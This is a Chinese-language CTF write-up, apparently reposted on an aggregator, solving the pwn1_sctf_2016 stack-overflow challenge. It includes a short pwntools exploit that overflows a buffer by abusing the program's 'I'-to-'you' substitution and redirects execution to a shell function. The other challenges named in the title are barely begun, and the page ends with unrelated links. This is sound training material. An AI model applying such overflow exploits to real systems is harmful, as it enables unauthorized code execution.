&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&
Posted bhxdn
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&相关的知识,希望对你有一定的参考价值。
在做buu题目的时候,发现在最上面有几道被各位师傅打到1分的题,强迫症逼迫我去做那几道题。
这里来试着去解决这些题。。。讲真的,我感觉自己刷题真的少,即使是很简单的栈题目,我还是能学习到新的东西。这里就记录一下这几道题。
pwn1_sctf_2016
检查了一下保护,32位程序,只开启了堆栈不可执行。直接ida看一下伪代码吧。
看代码也就是一个简单的栈溢出。但是我并没有自己做出这道题,太菜了。。。大一下学期我们有开设C++这门课,但是我由于一些事情,在家休息了一个多月,结果课也落下了。。。太痛苦了,C++吃亏在这里了,总要补的。。。
其实这个CTF就应该半分做,半分蒙。可以看到fgets是对我们输入的内容进行了限制,所以我们不能溢出到返回地址,但是可以看到两个字符串“I”和“you”,其实应该输入这几个字符串进去看看是什么意思的。
这里其实是一个回显,但是你如果输入“I”的话,就会给你自动转换成you,所以就解决溢出不到返回地址的问题了。接下来就是计算了。题目本身有可以直接拿shell的函数,直接返回地址转到那个shell 的地址就行了。还是羞耻的贴一下exp:
1 from pwn import * 2 3 p = process(‘./1‘) 4 context.log_level = ‘debug‘ 5 6 shell_addr = 0x08048F0D 7 8 payload = ‘I‘*21 + ‘b‘ + p32(shell_addr) 9 p.sendline(payload) 10 p.recv() 11 p.recv()
ciscn_2019_n_1
64位程序,保护只开启了堆栈不可执行。
以上是关于&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&的主要内容,如果未能解决你的问题,请参考以下文章
Bzoj4555: [Tjoi2016&Heoi2016]求和
Luogu P4093 [HEOI2016/TJOI2016]序列
BZOJ4555: [Tjoi2016&Heoi2016]求和